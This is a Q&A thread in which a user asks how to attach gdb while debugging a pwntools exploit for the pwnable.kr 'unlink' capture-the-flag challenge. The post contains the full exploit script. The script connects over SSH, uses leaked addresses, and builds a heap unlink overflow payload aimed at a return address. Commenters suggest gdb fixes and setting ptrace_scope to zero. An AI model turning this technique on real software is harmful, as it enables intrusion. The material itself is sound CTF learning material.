2

In the last few days I tried to solve "unlink" challenge in pwnable.kr and I'm struggling to attach a debugger remotely and locally on the server using pwntools (code added below).

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('unlink_local')

host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'unlink'
password = args.PASSWORD or 'guest'
remote_path = '/home/unlink/unlink'

# Connect to the remote SSH server
shell = None
if not args.LOCAL:
    shell = ssh(user, host, port, password)
    shell.set_working_directory(symlink=True)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Execute the target binary on the remote host'''
    if args.GDB:
        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
    else:
        return shell.process([remote_path] + argv, *a, **kw)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

r = start()

stack_leak = r.recvline(keepends=False)
stack_leak = int(stack_leak.decode("latin-1").split(": ")[1], 16)
heap_leak = r.recvline(keepends=False)
heap_leak = int(heap_leak.decode("latin-1").split(": ")[1], 16)
ret_addr_on_stack = stack_leak + 0x28  # 0x28 is the offset between the leak and the return address location on
# the stack (checked in gdb via running the program multiple times and checking the offset)
shellcode_location_on_heap = heap_leak + 0x50

"""
Payload layout (in this exact order)
"""
A_buf = b"A" * 8  # A's buf variable (in the struct 'tagOBJ' in the source) overflow

B_prev_size = b"B" * 4  # B's prev_size variable (in malloc internals) overflow
B_size = b"C" * 4  # B's size variable (in malloc internals) overflow
B_fd = p32(ret_addr_on_stack - 0x4)  # B's fd pointer (in the struct 'tagOBJ') overflow   
B_bk = p32(shellcode_location_on_heap)  # 0x080484eb  # B's bk pointer (in the struct 'tagOBJ') overflow      ----- shell() function address
B_buf = b"D" * 8  # B's buf variable (in the struct 'tagOBJ') overflow

C_prev_size = b"E" * 4  # B's prev_size variable (in malloc internals) overflow
C_size = b"F" * 4  # B's size variable (in malloc internals) overflow
C_fd = b"PPPP"  # C's fd pointer (in the struct 'tagOBJ') overflow      ----- empty (doesn't point anywhere)
C_bk = b"LLLL"  # C's bk pointer (in the struct 'tagOBJ') overflow      ----- RET ADDRESS LOCATION ON STACK

payload = A_buf + B_prev_size + B_size + B_fd + B_bk + B_buf + C_prev_size + C_size + C_fd + C_bk
with open("inp", "wb") as f:
    f.write(payload)

r.sendlineafter(b'now that you have leaks, get shell!\n', payload)
r.interactive()

When i attach gdb remotely using pwntools, I get the following error message from the server:

[DEBUG] Received 0x8f bytes:
    '/build/gdb-9un5Xp/gdb-7.11.1/gdb/gdbserver/regcache.c:264:\n'
    'A problem internal to GDBserver has been detected.\n'
    'Unknown register ymm0h requested\n'

In addition, when I attach gdb locally on the server using pwntools with tmux (because without tmux it can't find a terminal to open gdb in, I don't know why), I get this error:

Attaching to program: /home/unlink/unlink, process 50201
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
/tmp/tal/50201: No such file or directory.
Breakpoint 1 at 0x804851e
(gdb)

The same error happens when attaching to the process by its pid without pwntools (via gdb -p {pid}).

I will point out that I've tried to run the program on my pc (not on their server), and the heap layout was different (I think malloc aligned to 16 bytes instead of 4? not sure why its different to be honest), so running locally will not work.

Please note that I realise that this exploit doesn't work correctly, and my problem is that I don't know how to debug it properly, so please avoid giving corrections to the exploit itself.

Hints will be appreciated :)

10
  • The Unknown register ymm0h requested issue may be resolved by upgrading to gdb 8.1 or later. Sep 26, 2022 at 21:20
  • I'm unable to upgrade gdb because I don't have sudo on their server
    – talsim
    Sep 27, 2022 at 19:51
  • Ok.. the reason you need tmux is because you have no TTY allocated to your ssh connection, I'm not sure if pwntools supports passing options to ssh. Regarding the 'operation not permitted' message, you'll need to confirm that the target process and you have the same UID. Sep 27, 2022 at 22:33
  • So how can I solve this man? I'm out of ideas haha
    – talsim
    Sep 28, 2022 at 8:24
  • Ignoring the unlink challenge for a bit... start a process (pdf reader, something long lived), obtain the pid, then try to attach to it with gdb. If you can't, then run sysctl kernel.yama.ptrace_scope. If it isn't zero then set it to zero with sudo sysctl -w kernel.yama.ptrace_scope=0 and try attaching again. Sep 29, 2022 at 1:02

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Browse other questions tagged or ask your own question.